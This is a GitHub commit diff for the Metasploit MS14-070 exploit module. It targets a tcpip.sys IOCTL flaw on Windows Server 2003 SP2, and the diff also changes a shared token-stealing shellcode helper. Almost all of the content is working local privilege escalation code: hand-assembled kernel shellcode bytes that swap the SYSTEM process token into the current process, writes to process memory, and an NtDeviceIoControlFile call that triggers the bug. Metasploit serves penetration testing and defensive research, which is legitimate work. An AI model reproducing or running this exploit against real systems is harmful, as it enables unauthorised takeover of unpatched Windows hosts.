Skip to content

Commit 4fabe85

Browse files
KoreLogicSecurityKoreLogicSecurity
committed
Merge pull request #1 from zeroSteiner/land-4664
MS14-070 Changes
2 parents 6c529f8 + dc13446 commit 4fabe85

File tree

2 files changed

+42
-62
lines changed

2 files changed

+42
-62
lines changed

‎lib/msf/core/exploit/local/windows_kernel.rb

Lines changed: 9 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -116,10 +116,12 @@ def open_device(file_name, desired_access, share_mode, creation_disposition, fla
116116
# original token to so it can be restored later.
117117
# @param arch [String] The architecture to return shellcode for. If this is nil,
118118
# the arch will be guessed from the target and then module information.
119+
# @param append_ret [Boolean] Append a ret instruction for use when being called
120+
# in place of HaliQuerySystemInformation.
119121
# @return [String] The token stealing shellcode.
120122
# @raise [ArgumentError] If the arch is incompatible.
121123
#
122-
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
124+
def token_stealing_shellcode(target, backup_token = nil, arch = nil, append_ret = true)
123125
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
124126
if arch.nil? && module_info['Arch']
125127
arch = module_info['Arch']
@@ -144,15 +146,17 @@ def token_stealing_shellcode(target, backup_token = nil, arch = nil)
144146
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
145147
end
146148
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
147-
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
149+
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax, 88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
148150
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
149-
tokenstealing << "\x75\xe8" # jne 0000101e ======================
150-
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
151+
tokenstealing << "\x75\xe8" # jne 0000101e ======================|
152+
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx, dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
151153
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
152154
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
153155
tokenstealing << "\x5b" # pop ebx # Restores ebx
154156
tokenstealing << "\x5a" # pop edx # Restores edx
155-
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
157+
if append_ret
158+
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
159+
end
156160
else
157161
# if this is reached the issue most likely exists in the exploit module
158162
print_error('Unsupported arch for token stealing shellcode')

‎modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb

Lines changed: 33 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,14 @@ def initialize(info={})
3838
},
3939
'Targets' =>
4040
[
41-
['Windows Server 2003 SP2', {} ]
41+
['Windows Server 2003 SP2',
42+
{
43+
'_KPROCESS' => "\x38",
44+
'_TOKEN' => "\xd8",
45+
'_UPID' => "\x94",
46+
'_APLINKS' => "\x98"
47+
}
48+
]
4249
],
4350
'References' =>
4451
[
@@ -69,26 +76,13 @@ def check
6976
major, minor, build, revision, branch = file_version(file_path)
7077
vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
7178

72-
if ("#{major}.#{minor}.#{build}" == "5.2.3790" && "#{revision}" < 5440)
79+
if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440)
7380
return Exploit::CheckCode::Vulnerable
7481
end
7582

7683
return Exploit::CheckCode::Safe
7784
end
7885

79-
def create_proc
80-
windir = session.sys.config.getenv('windir')
81-
cmd = "#{windir}\\System32\\notepad.exe"
82-
# run hidden
83-
begin
84-
proc = session.sys.process.execute(cmd, nil, 'Hidden' => true)
85-
rescue Rex::Post::Meterpreter::RequestError
86-
return nil
87-
end
88-
89-
proc.pid
90-
end
91-
9286
def exploit
9387
if is_system?
9488
fail_with(Exploit::Failure::None, 'Session is already elevated')
@@ -104,18 +98,6 @@ def exploit
10498
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
10599
end
106100

107-
p = payload.encoded
108-
new_pid = create_proc
109-
110-
unless new_pid
111-
fail_with(Failure::Unknown, 'Unable to create a new process.')
112-
end
113-
114-
print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...")
115-
unless execute_shellcode(p, nil, new_pid)
116-
fail_with(Failure::Unknown, 'Error while executing the payload')
117-
end
118-
119101
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
120102
if handle.nil?
121103
fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")
@@ -132,41 +114,34 @@ def exploit
132114

133115
buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"
134116

135-
sc = "\x60" # save registers
136-
sc << "\x64\xA1\x24\x01\x00\x00" # mov eax, [fs:0x124]
137-
sc << "\x8B\x40\x38" # mov eax, [eax+0x38]
138-
sc << "\x50" # push eax
139-
sc << "\xBB\x04\x00\x00\x00" # mov ebx, 0x4
140-
sc << "\x8B\x80\x98\x00\x00\x00" # mov eax, [eax+0x98]
141-
sc << "\x2D\x98\x00\x00\x00" # sub eax, 0x98
142-
sc << "\x39\x98\x94\x00\x00\x00" # cmp [eax+0x94], ebx
143-
sc << "\x75\xED" # jne 0x10
144-
sc << "\x8B\xB8\xD8\x00\x00\x00" # mov edi, [eax+0xd8]
145-
sc << "\x83\xE7\xF8" # and edi, 0xfffffff8
146-
sc << "\x58" # pop eax
147-
sc << "\xBB" # mov ebx, new_pid
148-
sc << [new_pid].pack('V')
149-
sc << "\x8B\x80\x98\x00\x00\x00" # mov eax, [eax+0x98]
150-
sc << "\x2D\x98\x00\x00\x00" # sub eax, 0x98
151-
sc << "\x39\x98\x94\x00\x00\x00" # cmp [eax+0x94], ebx
152-
sc << "\x75\xED" # jne 0x32
153-
sc << "\x89\xB8\xD8\x00\x00\x00" # mov [eax+0xd8], edi
154-
sc << "\x61" # restore registers
155-
sc << "\xBA\x39\xFF\xA2\xBA" # mov edx, 0xbaa2ff39
156-
sc << "\xB9\x00\x00\x00\x00" # mov ecx, 0x0
157-
sc << "\xB8\x3B\x00\x00\x00" # mov eax, 0x3b
158-
sc << "\x8E\xE0" # mov fs, eax
159-
sc << "\x0F\x35\x00" # sysexit
160-
161-
this_proc.memory.write(0x28, "\x87\xFF\xFF\x38")
117+
sc = token_stealing_shellcode(target, nil, nil, false)
118+
# move up the stack frames looking for nt!KiSystemServicePostCall
119+
sc << "\x31\xc9" # xor ecx, ecx
120+
sc << "\x89\xeb" # mov ebx, ebp
121+
# count_frames
122+
sc << "\x41" # inc ecx
123+
sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000
124+
sc << "\x8b\x1b" # mov ebx, dword [ebx]
125+
sc << "\x75\xf4" # jne short count_frames
126+
sc << "\x49" # dec ecx
127+
# loop_frames
128+
sc << "\x49" # dec ecx
129+
sc << "\x89\xec" # mov esp, ebp
130+
sc << "\x5d" # pop ebp
131+
sc << "\x83\xf9\x00" # cmp ecx, 0
132+
sc << "\x75\xf7" # jne loop_frames
133+
sc << "\x31\xc0" # xor eax, eax
134+
sc << "\xc3" # ret
135+
136+
this_proc.memory.write(0x28, "\x87\xff\xff\x38")
162137
this_proc.memory.write(0x38, "\x00\x00")
163138
this_proc.memory.write(0x1100, buf)
164139
this_proc.memory.write(0x2b, "\x00\x00")
165140
this_proc.memory.write(0x2000, sc)
166141

167142
print_status("Triggering the vulnerability...")
168143
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0)
169-
session.railgun.kernel32.CloseHandle(handle)
144+
#session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it
170145

171146
print_status("Checking privileges after exploitation...")
172147

@@ -175,8 +150,9 @@ def exploit
175150
end
176151

177152
print_good("Exploitation successful!")
178-
153+
unless execute_shellcode(payload.encoded, nil, this_proc.pid)
154+
fail_with(Failure::Unknown, 'Error while executing the payload')
155+
end
179156
end
180157

181158
end
182-

0 commit comments

Comments
 (0)